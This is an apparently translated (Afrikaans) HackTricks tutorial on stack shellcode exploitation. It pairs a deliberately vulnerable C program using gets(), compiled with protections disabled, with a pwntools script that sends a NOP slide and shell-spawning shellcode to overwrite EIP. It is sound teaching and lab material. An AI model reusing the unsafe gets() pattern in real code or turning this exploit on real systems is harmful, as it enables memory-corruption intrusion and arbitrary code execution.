Stack Shellcode

Ondersteun HackTricks

Basiese Inligting

Stack shellcode is 'n tegniek wat in binary exploitation gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die Instruction Pointer (IP) of Extended Instruction Pointer (EIP) aanpas om na die ligging van hierdie shellcode te wys, wat dit laat uitvoer. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n opsomming van die proses, insluitend 'n eenvoudige C voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en pwntools kan skryf.

C Voorbeeld: 'n Kwesbare Program

Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C program:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Hierdie program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van die gets() funksie.

Samestelling

Om hierdie program te compileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Deaktiveer stapelbeskerming.

  • -z execstack: Maak die stapel uitvoerbaar, wat nodig is om shellcode wat op die stapel gestoor is, uit te voer.

  • -no-pie: Deaktiveer Posisie Onafhanklike Uitvoerbare, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.

  • -m32: Kompiler die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoud in eksploitontwikkeling.

Python Exploit using Pwntools

Hier is hoe jy 'n eksploit in Python kan skryf met pwntools om 'n ret2shellcode aanval uit te voer:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

This script konstrueer 'n payload wat bestaan uit 'n NOP slide, die shellcode, en dan oorskryf dit die EIP met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word.

Die NOP slide (asm('nop')) word gebruik om die kans te verhoog dat uitvoering "gly" in ons shellcode, ongeag die presiese adres. Pas die p32() argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land.

Beskermings

  • ASLR moet gedeaktiveer word vir die adres om betroubaar te wees oor uitvoerings of die adres waar die funksie gestoor sal word sal nie altyd dieselfde wees nie en jy sal 'n leak nodig hê om uit te vind waar die win funksie gelaai is.

  • Stack Canaries moet ook gedeaktiveer word of die gecompromitteerde EIP terugadres sal nooit gevolg word nie.

  • NX stack beskerming sal die uitvoering van die shellcode binne die stack voorkom omdat daardie streek nie uitvoerbaar sal wees nie.

Ander Voorbeelde & Verwysings

Support HackTricks

Last updated